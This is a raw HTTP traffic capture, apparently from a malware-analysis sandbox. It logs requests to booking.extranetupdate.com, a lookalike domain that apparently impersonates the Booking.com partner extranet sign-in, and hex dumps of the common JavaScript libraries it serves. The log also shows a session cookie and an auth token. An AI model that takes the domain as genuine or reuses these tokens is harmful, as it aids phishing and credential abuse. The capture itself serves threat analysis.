2025-04-17 11:24:23 UTC	910	OUT	GET /static/otSDKStub.js HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:24 UTC	983	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:24 GMT Content-Type: application/javascript Content-Length: 22446 Connection: close Cf-Ray: 931b8e46caf7bcae-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:23 GMT Etag: "67268c79-57ae" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0y4lX%2F0fT2e3E9s%2BZHncanPvxj9iFZzpQWEJ%2BPvtjYvwhfaUubUrNs5kZ%2FLvdcP04vxJstLedRxkkobZn66q3auFBovabkpNIMn8Z8Nea0iUiGQsy2CXqQVnIf6tQ%2BFl9Bmo7NCB4shfYkjj0w%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105845&min_rtt=105733&rtt_var=22473&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1482&delivery_rate=38063&cwnd=252&unsent_bytes=0&cid=3dec0412d976fe1f&ts=936&x=0"
2025-04-17 11:24:24 UTC	386	IN	Data Raw: 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 28 74 3d 3e 7b 76 61 72 20 61 2c 6f 2c 72 2c 65 2c 6c 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 65 75 70 75 62 63 6f 6e 73 65 Data Ascii: var OneTrustStub=(t=>{var a,o,r,e,l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconse
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 4f 55 4e 54 52 49 45 53 3d 5b 22 42 45 22 2c 22 42 47 22 2c 22 43 5a 22 2c 22 44 4b 22 2c 22 44 45 22 2c 22 45 45 22 2c 22 49 45 22 2c 22 47 52 22 2c 22 45 53 22 2c 22 46 52 22 2c 22 49 54 22 2c 22 43 59 22 2c 22 4c 56 22 2c 22 4c 54 22 2c 22 4c 55 22 2c 22 48 55 22 2c 22 4d 54 22 2c 22 4e 4c 22 2c 22 41 54 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 52 4f 22 2c 22 53 49 22 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 Data Ascii: OUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScri
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 72 6f 74 6f 74 79 70 65 2e 73 74 72 54 6f 4f 62 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 7b 7d 2c 69 3d 74 2e 73 70 6c 69 74 28 22 3b 22 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 72 69 6d 28 29 7d 29 2c 6e 3d 30 2c 61 3d 76 6f 69 64 20 30 3b 6e 3c 69 2e 6c 65 6e 67 74 68 3b 2b 2b 6e 29 69 66 28 2f 3a 2f 2e 74 65 73 74 28 69 5b 6e 5d 29 29 7b 69 66 28 21 28 61 3d 69 5b 6e 5d 2e 73 70 6c 69 74 28 2f 3a 28 2e 2b 29 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 69 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 Data Ascii: rototype.strToObj=function(t){for(var e={},i=t.split(";").map(function(t){return t.trim()}),n=0,a=void 0;n<i.length;++n)if(/:/.test(i[n])){if(!(a=i[n].split(/:(.+)/))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},i);function i(){var t=this;t
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 29 7b 73 2e 77 69 6e 2e 5f 5f 67 70 70 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 7c 7c 28 73 2e 77 69 6e 2e 5f 5f 67 70 70 3d 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 73 2e 6d 65 73 73 61 67 65 48 61 6e 64 6c 65 72 2c 21 31 29 2c 73 2e 61 64 64 46 72 61 6d 65 28 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 Data Ascii: tion(){s.win.__gpp&&"function"==typeof s.win.__gpp\|\|(s.win.__gpp=s.executeGppApi,window.addEventListener("message",s.messageHandler,!1),s.addFrame(s.LOCATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[na
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 72 6e 20 74 26 26 74 28 65 2c 21 30 29 2c 65 7d 2c 74 68 69 73 2e 61 64 64 46 72 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 69 3d 73 2e 77 69 6e 2e 64 6f 63 75 6d 65 6e 74 2c 6e 3d 42 6f 6f 6c 65 61 6e 28 73 2e 77 69 6e 2e 66 72 61 6d 65 73 5b 74 5d 29 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 69 2e 62 6f 64 79 3f 28 28 65 3d 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 29 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e Data Ascii: rn t&&t(e,!0),e},this.addFrame=function(t){var e,i=s.win.document,n=Boolean(s.win.frames[t]);return n\|\|(i.body?((e=i.createElement("iframe")).style.cssText="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(fun
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 74 72 75 73 74 65 64 54 79 70 65 73 26 26 77 69 6e 64 6f 77 2e 74 72 75 73 74 65 64 54 79 70 65 73 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 26 26 28 77 69 6e 64 6f 77 2e 4f 74 54 72 75 73 74 65 64 54 79 70 65 2e 54 72 75 73 74 65 64 54 79 70 65 50 6f 6c 69 63 79 3d 77 69 6e 64 6f 77 2e 74 72 75 73 74 65 64 54 79 70 65 73 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 6f 74 2d 74 72 75 73 74 65 64 2d 74 79 70 65 2d 70 6f 6c 69 63 79 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 2e 73 61 6e 69 74 69 7a 65 28 74 29 7d 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 Data Ascii: trustedTypes&&window.trustedTypes.createPolicy&&(window.OtTrustedType.TrustedTypePolicy=window.trustedTypes.createPolicy("ot-trusted-type-policy",{createHTML:function(t){return window.DOMPurify.sanitize(t)},createScript:function(t){return window.DOMPurify
2025-04-17 11:24:24 UTC	106	IN	Data Raw: 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 6c 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 29 7c 7c 6e 75 6c 6c 2c 74 68 69 73 2e 70 72 65 76 69 65 77 4d Data Ascii: etDomainDataFileURL(),this.crossOrigin=l.stubScriptElement.getAttribute("crossorigin")\|\|null,this.previewM
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 6f 64 65 3d 22 74 72 75 65 22 3d 3d 3d 6c 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 72 65 76 69 65 77 2d 6d 6f 64 65 22 29 2c 74 68 69 73 2e 6f 74 46 65 74 63 68 28 6c 2e 62 61 6e 6e 65 72 44 61 74 61 50 61 72 65 6e 74 55 52 4c 2c 74 68 69 73 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 44 6f 6d 61 69 6e 49 66 42 75 6c 6b 44 6f 6d 61 69 6e 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 26 26 74 2e 54 65 6e 61 6e 74 46 65 61 74 75 72 65 73 2c 69 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6e 3d 74 2e 44 6f 6d 61 69 6e 2c 61 3d 74 2e 42 75 Data Ascii: ode="true"===l.stubScriptElement.getAttribute("data-preview-mode"),this.otFetch(l.bannerDataParentURL,this.getLocation.bind(this))},f.prototype.setDomainIfBulkDomainEnabled=function(t){var e=t&&t.TenantFeatures,i=window.location.hostname,n=t.Domain,a=t.Bu
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 74 68 69 73 2e 67 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 74 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 42 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 62 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 45 6e 61 62 6c 65 64 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 Data Ascii: ion?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),this.addBannerSDKScript(t)):this.getGeoLocation(t)},f.prototype.handleBulkDomainMgmt=function(t,e){window.sessionStorage&&window.sessionStorage.setItem("bulkDomainMgmtEnabled",JSON.stringif
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 69 22 29 2e 74 65 73 74 28 74 29 29 74 68 69 73 2e 6f 74 46 65 74 63 68 4f 66 66 6c 69 6e 65 46 69 6c 65 28 74 2c 69 29 3b 65 6c 73 65 20 69 66 28 30 3c 3d 74 2e 69 6e 64 65 78 4f 66 28 22 2f 63 6f 6e 73 65 6e 74 2f 22 29 26 26 74 68 69 73 2e 70 72 65 76 69 65 77 4d 6f 64 65 26 26 6f 29 7b 6f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 2e 64 6f 6d 61 69 6e 4a 73 6f 6e 3b 69 28 6f 29 7d 65 6c 73 65 7b 6c 2e 6d 6f 62 69 6c 65 4f 6e Data Ascii: (n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","i").test(t))this.otFetchOfflineFile(t,i);else if(0<=t.indexOf("/consent/")&&this.previewMode&&o){o=JSON.parse(o).domainJson;i(o)}else{l.mobileOn

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:23 UTC	914	OUT	GET /static/lazysizes.min.js HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:24 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:23 GMT Content-Type: application/javascript Content-Length: 7889 Connection: close Cf-Ray: 931b8e46ceb57bc6-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:23 GMT Etag: "67268c81-1ed1" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q0%2FU15tiB5dzn94rxKUUptTqPmCymPRmP5ExI5WaB2i0UyUr08ZBjC6PrmUYiQfOWM6t269EMr1IE4jiq3v3sgI%2B1QvtFm7RB9y%2F1o7gzAfx%2F5DBPgm6uJRkOdOoz4nMlsGMDnuGlrJmkSRUfw%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105970&min_rtt=105866&rtt_var=22489&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1486&delivery_rate=38026&cwnd=252&unsent_bytes=0&cid=b064929a54008b8c&ts=725&x=0"
2025-04-17 11:24:24 UTC	389	IN	Data Raw: 2f 2a 21 20 6c 61 7a 79 73 69 7a 65 73 20 2d 20 76 35 2e 33 2e 31 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 44 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6b 2c 48 3b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 76 61 72 20 74 3d 7b 6c 61 7a 79 43 6c 61 73 73 3a 22 6c 61 7a 79 6c 6f 61 64 22 2c 6c 6f 61 64 65 64 43 6c 61 73 73 3a 22 6c 61 7a 79 6c 6f 61 64 65 64 22 2c 6c 6f 61 64 69 6e 67 43 6c 61 73 73 3a 22 6c 61 7a 79 6c 6f 61 64 69 6e 67 22 2c 70 72 65 6c 6f 61 64 43 6c 61 73 73 3a 22 6c 61 7a 79 70 72 65 6c 6f 61 64 22 2c 65 72 72 6f 72 43 6c 61 73 73 3a 22 6c 61 7a 79 65 72 72 6f 72 22 2c 61 75 74 6f 73 69 7a 65 73 43 6c 61 73 73 3a 22 6c 61 7a 79 61 75 Data Ascii: /! lazysizes - v5.3.1 /!function(e){var t=function(u,D,f){"use strict";var k,H;if(function(){var e;var t={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyau
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 2c 63 75 73 74 6f 6d 4d 65 64 69 61 3a 7b 7d 2c 69 6e 69 74 3a 74 72 75 65 2c 65 78 70 46 61 63 74 6f 72 3a 31 2e 35 2c 68 46 61 63 3a 2e 38 2c 6c 6f 61 64 4d 6f 64 65 3a 32 2c 6c 6f 61 64 48 69 64 64 65 6e 3a 74 72 75 65 2c 72 69 63 54 69 6d 65 6f 75 74 3a 30 2c 74 68 72 6f 74 74 6c 65 44 65 6c 61 79 3a 31 32 35 7d 3b 48 3d 75 2e 6c 61 7a 79 53 69 7a 65 73 43 6f 6e 66 69 67 7c 7c 75 2e 6c 61 7a 79 73 69 7a 65 73 43 6f 6e 66 69 67 7c 7c 7b 7d 3b 66 6f 72 28 65 20 69 6e 20 74 29 7b 69 66 28 21 28 65 20 69 6e 20 48 29 29 7b 48 5b 65 5d 3d 74 5b 65 5d 7d 7d 7d 28 29 2c 21 44 7c 7c 21 44 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 7b 72 65 74 75 72 6e 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 63 66 67 3a 48 2c 6e 6f Data Ascii: ,customMedia:{},init:true,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:true,ricTimeout:0,throttleDelay:125};H=u.lazySizesConfig\|\|u.lazysizesConfig\|\|{};for(e in t){if(!(e in H)){H[e]=t[e]}}}(),!D\|\|!D.getElementsByClassName){return{init:function(){},cfg:H,no
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 64 74 68 29 7b 61 3d 74 2e 6f 66 66 73 65 74 57 69 64 74 68 3b 74 3d 74 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 20 61 7d 2c 65 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 69 3b 76 61 72 20 74 3d 5b 5d 3b 76 61 72 20 72 3d 5b 5d 3b 76 61 72 20 6e 3d 74 3b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6e 3b 6e 3d 74 2e 6c 65 6e 67 74 68 3f 72 3a 74 3b 61 3d 74 72 75 65 3b 69 3d 66 61 6c 73 65 3b 77 68 69 6c 65 28 65 2e 6c 65 6e 67 74 68 29 7b 65 2e 73 68 69 66 74 28 29 28 29 7d 61 3d 66 61 6c 73 65 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 61 26 26 21 74 29 7b 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 65 6c 73 65 7b 6e 2e 70 75 73 68 28 65 29 3b Data Ascii: dth){a=t.offsetWidth;t=t.parentNode}return a},ee=function(){var a,i;var t=[];var r=[];var n=t;var s=function(){var e=n;n=t.length?r:t;a=true;i=false;while(e.length){e.shift()()}a=false};var e=function(e,t){if(a&&!t){e.apply(this,arguments)}else{n.push(e);
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 3b 70 2d 3d 74 3b 43 2b 3d 74 3b 77 68 69 6c 65 28 72 26 26 28 69 3d 69 2e 6f 66 66 73 65 74 50 61 72 65 6e 74 29 26 26 69 21 3d 44 2e 62 6f 64 79 26 26 69 21 3d 4f 29 7b 72 3d 28 5a 28 69 2c 22 6f 70 61 63 69 74 79 22 29 7c 7c 31 29 3e 30 3b 69 66 28 72 26 26 5a 28 69 2c 22 6f 76 65 72 66 6c 6f 77 22 29 21 3d 22 76 69 73 69 62 6c 65 22 29 7b 61 3d 69 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 72 3d 43 3e 61 2e 6c 65 66 74 26 26 70 3c 61 2e 72 69 67 68 74 26 26 62 3e 61 2e 74 6f 70 2d 31 26 26 67 3c 61 2e 62 6f 74 74 6f 6d 2b 31 7d 7d 72 65 74 75 72 6e 20 72 7d 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 61 2c 69 2c 72 2c 6e 2c 73 2c 6f 2c 6c 2c 75 2c 66 2c 63 3b 76 61 72 20 64 3d 6b 2e 65 Data Ascii: ;p-=t;C+=t;while(r&&(i=i.offsetParent)&&i!=D.body&&i!=O){r=(Z(i,"opacity")\|\|1)>0;if(r&&Z(i,"overflow")!="visible"){a=i.getBoundingClientRect();r=C>a.left&&p<a.right&&b>a.top-1&&g<a.bottom+1}}return r};var t=function(){var e,t,a,i,r,n,s,o,l,u,f,c;var d=k.e
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 61 64 4d 6f 64 65 3b 69 66 28 61 3d 3d 30 29 7b 65 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 74 29 7d 65 6c 73 65 20 69 66 28 61 3d 3d 31 29 7b 65 2e 73 72 63 3d 74 7d 7d 3b 76 61 72 20 46 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 76 61 72 20 61 3d 65 5b 24 5d 28 48 2e 73 72 63 73 65 74 41 74 74 72 29 3b 69 66 28 74 3d 48 2e 63 75 73 74 6f 6d 4d 65 64 69 61 5b 65 5b 24 5d 28 22 64 61 74 61 2d 6d 65 64 69 61 22 29 7c 7c 65 5b 24 5d 28 22 6d 65 64 69 61 22 29 5d 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 65 64 69 61 22 2c 74 29 7d 69 66 28 61 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 73 65 74 22 2c 61 29 7d 7d 3b 76 61 72 20 73 3d 74 65 28 66 75 6e 63 74 Data Ascii: adMode;if(a==0){e.contentWindow.location.replace(t)}else if(a==1){e.src=t}};var F=function(e){var t;var a=e[$](H.srcsetAttr);if(t=H.customMedia[e[$]("data-media")\|\|e[$]("media")]){e.setAttribute("media",t)}if(a){e.setAttribute("srcset",a)}};var s=te(funct
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 29 7d 3b 76 61 72 20 72 3d 69 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 48 2e 6c 6f 61 64 4d 6f 64 65 3d 33 3b 61 28 29 7d 29 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 48 2e 6c 6f 61 64 4d 6f 64 65 3d 3d 33 29 7b 48 2e 6c 6f 61 64 4d 6f 64 65 3d 32 7d 72 28 29 7d 3b 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6d 29 7b 72 65 74 75 72 6e 7d 69 66 28 66 2e 6e 6f 77 28 29 2d 65 3c 39 39 39 29 7b 49 28 6c 2c 39 39 39 29 3b 72 65 74 75 72 6e 7d 6d 3d 74 72 75 65 3b 48 2e 6c 6f 61 64 4d 6f 64 65 3d 33 3b 61 28 29 3b 71 28 22 73 63 72 6f 6c 6c 22 2c 6f 2c 74 72 75 65 29 7d 3b 72 65 74 75 72 6e 7b 5f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 3d 66 2e 6e 6f 77 28 29 3b 6b 2e 65 6c 65 6d 65 6e 74 73 3d 44 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: )};var r=ie(function(){H.loadMode=3;a()});var o=function(){if(H.loadMode==3){H.loadMode=2}r()};var l=function(){if(m){return}if(f.now()-e<999){I(l,999);return}m=true;H.loadMode=3;a();q("scroll",o,true)};return{_:function(){e=f.now();k.elements=D.getElemen
2025-04-17 11:24:24 UTC	655	IN	Data Raw: 3d 73 28 65 2c 72 2c 61 29 3b 69 3d 58 28 65 2c 22 6c 61 7a 79 62 65 66 6f 72 65 73 69 7a 65 73 22 2c 7b 77 69 64 74 68 3a 61 2c 64 61 74 61 41 74 74 72 3a 21 21 74 7d 29 3b 69 66 28 21 69 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 29 7b 61 3d 69 2e 64 65 74 61 69 6c 2e 77 69 64 74 68 3b 69 66 28 61 26 26 61 21 3d 3d 65 2e 5f 6c 61 7a 79 73 69 7a 65 73 57 69 64 74 68 29 7b 6e 28 65 2c 72 2c 69 2c 61 29 7d 7d 7d 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 76 61 72 20 74 3d 61 2e 6c 65 6e 67 74 68 3b 69 66 28 74 29 7b 65 3d 30 3b 66 6f 72 28 3b 65 3c 74 3b 65 2b 2b 29 7b 69 28 61 5b 65 5d 29 7d 7d 